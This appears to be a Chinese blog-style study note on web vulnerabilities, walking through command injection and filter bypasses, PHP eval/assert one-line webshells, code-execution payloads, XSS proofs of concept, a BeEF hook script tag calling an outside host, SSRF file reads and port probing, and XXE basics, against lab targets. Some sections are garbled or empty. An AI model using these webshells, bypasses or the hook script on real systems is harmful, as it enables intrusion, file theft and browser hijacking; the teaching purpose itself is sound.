①;命令连接符
;使多个命令顺序执行,前面的命令和后面的命令都执行
②&命令连接符
&的作用是是命令在后台运行,这样就可以同时执行多条命令
③&&命令连接符
&&的作用是如果前面的命令执行成功,则执行后面的命令,如果前面的命令没有执行成功,后面的也不会执行。
④|命令连接符
|的作用:将前面的命令的输出作为后面的命令的输入,前后都会执行,但是只回显后面命令的结果。如果前面的命令不符合也会回显后面的命令。
⑤||命令连接符
如果前面的命令执行成功,后面的就不再执行,反之,如果前面的执行失败,则会执行后面的命令。
漏洞利用代码:
<?php $ip=$_GET['ip']; system("ping -c 3".$ip); ?>
利用命令连接符;查看etc/passwd文件
命令执行绕过
绕过空格过滤
①${IFS}绕过
空格过滤可以使用${IFS}绕过
②$IFS$9绕过
空格过滤也可以使用$IFS$9绕过
③制表符绕过
%09是制表符的url编码,可以通过%09来代替空格
④{}绕过
⑤<绕过
绕过关键词过滤
①变量拼接绕过
可以通过变量赋值的方式绕过cat命令。
②空变量绕过
③系统变量绕过
${SHELLOPTS}是系统变量,利用系统变量字符拼接绕过过滤
④\绕过
⑤通配符绕过
*代表多个字符,?代表一个字符
代码执行
有的应用程序中提供了一些可以将字符串作为代码执行的函数,例如PHP中的eval函数,可以将该函数中的参数当作PHP代码来执行。如果对这些函数的参数控制不严格,就可能会被攻击者利用,执行恶意代码。
eval函数
示例代码
<?php @eval($_POST['cmd']);?>
此代码为最常见的一句话木马。
assert函数
示例代码
<?php @assert($_POST[1]);?>
此代码为一句话木马的变形代码,用法和eval类似。
call_user_func函数
call_user_func函数把第一个参数作为回调函数调用。
示例代码
<?php call_user_func($_POST['cmd'],$_POST['id']);?>
call_user_func_array函数
示例代码
<?php call_user_func_array($_POST['cmd'],$_POST['id']);?>
和call_user_func用法类似,不过要在第二个变量名后面加个[],数组的原因。
create_function
create_function函数根据传递的参数创建匿名函数,并为该匿名函数返回唯一名称。
示例代码
<?php $id=$_GET['id']; $code='echo '.$func.'test'.$id.';'; create_function('$func',$code); ?> == <?php $id=$_GET['id']; function func($func){ echo "test".$id; } ?>
payload: ?id=1;}phpinfo();/*
array_map
array_map函数返回为每个数组元素应用callback函数之后的数组。callback函数形参的数量和传给array_map函数的数组的数量必须相同。
示例代码
<?php $func=$_GET['func']; $argv=$_GET['argv']; $array[0]=$argv; array_map($func,$array); ?>
测试语句: ?func=system&argv=dir
preg_replace函数
preg_replace函数搜索subject中匹配ppttern的部分,以replacement进行替换。
示例代码
<?php $subject='hello hack'; $pattern='/hack/'; $pattern='/hack/e'; $replacement=$_GET["name"]; echo preg_place($pattern,$replacement,$subject); ?>
preg_replace函数存在模式修饰符,其中修饰符“e”会让preg_replace函数将替换后的字符串作为php代码评估执行(以eval函数方式)
测试语句:?name=system(’whoami‘)
PHP可变函数
PHP支持可变函数的概念:如果一个变量名后有圆括号,PHP将寻找与变量的值同名的函数,并且尝试执行。这就意味着在PHP中可以把函数名通过字符串的方式传递给一个变量,然后通过此变量动态的调用函数。
示例代码:
<?php function foo(){ echo "foo"; } function bar($arg=''){ echo "bar"; } function echoit($string){ echo $string; } $func=$_REQUEST['func']; echo $func(); ?>
测试语句:?func=phpinfo
以上只是执行了phpinfo函数,而没有造成太大的影响。但是在下面的代码中,不仅函数可变,其中的参数也可控
示例代码:
<?php function foo(){ echo "foo"; } function bar($arg=''){ echo "bar"; } function echoit($string){ echo $string; } $func=$_REQUEST['func']; $string=$_REQUEST['string']; echo $func($string); ?>
测试语句:?func=system&string=whoami
XSS漏洞
Xss(Cross-Site Scripting)意为跨站脚本攻击,为了不于css(层叠样式)混淆,故将跨站脚本攻击缩写为xss。
xss漏洞的危害很多,可以通过xss漏洞获取客户端用户的信息(例如用户登录的cookie信息)等。
xss漏洞大体分为三类:
1.反射性XSS漏洞
示例代码
<?php
if(isset($_GET['name'])){
$name=$_GET['name'];
echo"<h2>"."hello".$name."<h2>"
}else{
exit();
}
?>
输入测试语句
http://127.0.0.1/xss/fsxss.php?name=%3Cscript%3Ealert(%27ctf%27)%3C/script%3E %3C是< %3E是> %27是'
http://127.0.0.1/xss/fsxss.php?name=<script>alert('ctf')</script>
可以看到植入的xss代码,出发了弹窗,这就是典型的xss漏洞的利用
2.存储型XSS漏洞
存储型xss可以理解为:
我们用户在输入数据的时候,代码会将输入的数据存储到表中,然后再通过查询进行展示。
3.DOM型XSS漏洞
什么是DOM? 简单来说DOM文档就是一份XML文档,当有了DOM标准之后,DOM便将前端html代码化为一个树状结构,方便程序和脚本能够轻松的动态访问和更新这个树状结构的内容、结构以及样式,且不需要经过服务端,所以DOM型xss在js前端自己就可以完成数据的输入输出,不与服务器产生交互,这样来说DOM型xss也可以理解为反射性xss。
看一个经典的DOM型xss,不需要经过服务器前端js渲染即完成反射型DOMxss弹窗 有道翻译:https://fanyi.youdao.com/ poc:is here <script>alert('Gaobai文库')</script>
https://blog.csdn.net/qq_53577336/article/details/122441536
Beff使用
beff安装
打开终端,输入如下命令:
apt-get install beef-xss
安装好之后进入默认安装路径 /usr/share/beef-xss
执行后发现报错,意思是说不能使用默认的用户名和密码,进入配置文件把用户名密码改了
再次启动就可以了
访问beef的管理页面
http://192.168.106.163:3000/ui/panel
测试一下
将hook将本植入到目标网站中,这里用pikachu的存储型xss进行演示
<script src="http://192.168.106.163:3000/hook.js"></script>Hook js
弹窗演示
SSRF漏洞
SSRF意为服务端请求伪造。攻击者利用漏洞通过服务器发起伪造请求,这样就可以访问内网的数据,进行内网信息探测或者内网漏洞利用。
SSRF漏洞形成的原因是:应用程序存在可以从其他服务器获取数据的功能,但是对服务器的地址并没有做严格的过滤,导致应用程序可以访问任意的URL链接。攻击者通过构造URL链接,可以通过漏洞进行以下攻击:
(1)通过服务器获取内网主机、端口和banner信息。
(2)对内网的应用程序进行攻击,例如redis、jboss等。
(3)利用file://伪协议读取文件。
(4)可以利用内网程序,造成缓冲区溢出。
PHP中下面函数的使用不当会导致SSRF: file_get_contents() fsockopen() curl_exec()
一、SSRF之curl
关于php的curl
PHP支持的由Daniel Stenberg创建的libcurl库允许你与各种的服务器使用各种类型的协议进行连接和通讯。
libcurl目前支持http、https、ftp、gopher、telnet、dict、file和ldap协议。libcurl同时也支持HTTPS认证、HTTP POST、HTTP PUT、 FTP 上传(这个也能通过PHP的FTP扩展完成)、HTTP 基于表单的上传、代理、cookies和用户名+密码的认证。
PHP中使用cURL实现Get和Post请求的方法
这些函数在PHP 4.0.2中被引入
函数 描述
可以看到有个url参数,通过这个参数传入指定路径的文件可以进行访问,这就是最典型的。
我们来分析下代码看为什么会这样:
if(isset($_GET['url']) && $_GET['url'] != null){ //接收前端URL没问题,但是要做好过滤,如果不做过滤,就会导致SSRF $URL = $_GET['url']; $CH = curl_init($URL); curl_setopt($CH, CURLOPT_HEADER, FALSE); curl_setopt($CH, CURLOPT_SSL_VERIFYPEER, FALSE); $RES = curl_exec($CH); curl_close($CH) ; //ssrf的问是:前端传进来的url被后台使用curl_exec()进行了请求,然后将请求的结果又返回给了前端。 //除了http/https外,curl还支持一些其他的协议curl --version 可以查看其支持的协议,telnet //curl支持很多协议,有FTP, FTPS, HTTP, HTTPS, GOPHER, TELNET, DICT, FILE以及LDAP echo $RES; }
我们可以看到在接收url传入的内容后使用了curl_exec()
漏洞利用:
curl支持多种协议,这里我们演示下http,gopher,file
http
直接加上目标地址 http://127.0.0.1/www/pikachu/vul/ssrf/ssrf_curl.php?url=http://127.0.0.1/www/pikachu/vul/ssrf/ssrf_info/info1.php 同时利用这个协议也可以对端口进行探测 例如对目标主机的3306端口进行探测 http://127.0.0.1/www/pikachu/vul/ssrf/ssrf_curl.php?url=http://127.0.0.1:3306 发现返回了数据库的版本信息,就说明开启了3306端口,如果没有数据返回或者返回时间延迟比较大就说明该端口没有开放。
gopher
file
利用file协议可以进行文件读取 例如 http://127.0.0.1/www/pikachu/vul/ssrf/ssrf_curl.php?url=file://D:/phpStudy/PHPTutorial/WWW/WWW/pikachu/vul/ssrf/test.txt
或者
http://127.0.0.1/www/pikachu/vul/ssrf/ssrf_curl.php?url=file://D:\phpStudy\PHPTutorial\WWW\WWW\pikachu\vul\ssrf\test.txt
在我们读取windows和linux下的文件或网页时,要注意路径的写法
linux在写路径从根写起是前面要加/。
XXE漏洞
XXE(外部实体注入)漏洞产生的原因是:应用程序再解析xml时没有过滤外部实体的加载,导致加载了恶意的外部文件,造成执行命令、读取文件、扫描内网、攻击内网应用等危害。
XML基础
xml(可扩展标记语言)用来结构化、存储以及传输信息
xml文档结构包括三部分:xml声明、文档类型定义(可选)和文档元素
xml文档在开头有 <?xml version="1.0" encoding="UTF-8" standalone="yes"?>
的结构,这种结构被称为 XML prolog ,用于声明XML文档的版本和编码,是可选的,但是必须放在文档开头
第一部分:XML声明部分
<?xml version="1.0" encoding="ISO-8859-1"?>
第二部分:文档类型定义 DTD
<!--定义此文档是note类型的文档-->
<!DOCTYPE note[
<!--定义 note 元素有四个元素-->
<!ELEMENT note (to,from,heading,body)>
<!--定义 to 元素为 "#PCDATA" 类型-->
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
<!--外部实体声明-->
<!-- 形如: <!DOCTYPE 根元素 SYSTEM "文件名"> -->
<!ENTITY entity-name SYSTEM "URI/URL">
]>
第三部分:文档元素
<note>
<to>Dave</to>
<from>Tom</from>
<head>Reminder</head>
<body>Don't forget the meeting!</body>
</note>
参考博客
https://www.freesion.com/article/3233319447/
https://blog.csdn.net/qq_43665434/article/details/113867722
反序列化
中间件漏洞
解析漏洞
\1. oppnssl md5 加密字符串的方法
a.手动输入命令及过程如下:
#openssl //在终端中输入openssl后回车。
OpenSSL> md5 //输入md5后回车
123456 //接着输入123456,不要输入回车。然后按3次ctrl+d。
123456e10adc3949ba59abbe56e057f20f883e //123456后面的就是密文了
解释:为何在输入123456后不回车呢?
是因为openssl默认会把回车符当做要加密的字符串中的一个字符,所以得到的结果不同。如果你输入123456后回车,在按2次ctrl+d。得到的结果是:
1 | gopher |
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· winform 绘制太阳,地球,月球 运作规律
· AI与.NET技术实操系列(五):向量存储与相似性搜索在 .NET 中的实现
· 超详细:普通电脑也行Windows部署deepseek R1训练数据并当服务器共享给他人
· 【硬核科普】Trae如何「偷看」你的代码?零基础破解AI编程运行原理
· 上周热点回顾(3.3-3.9)